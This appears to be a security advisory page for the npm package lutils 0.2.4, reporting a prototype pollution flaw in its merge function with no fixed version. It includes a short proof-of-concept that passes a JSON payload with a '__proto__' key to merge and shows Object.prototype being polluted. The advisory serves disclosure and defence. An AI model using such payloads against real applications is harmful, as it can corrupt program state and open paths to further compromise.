lutils@0.2.4 vulnerabilities

A few reliable utils.

Direct Vulnerabilities

Known vulnerabilities in the lutils package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • M
Prototype Pollution

lutils is an A few reliable utils.

Affected versions of this package are vulnerable to Prototype Pollution via the main (merge) function.

PoC

const lt = require('lutils');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
lt.merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

There is no fixed version for lutils.

*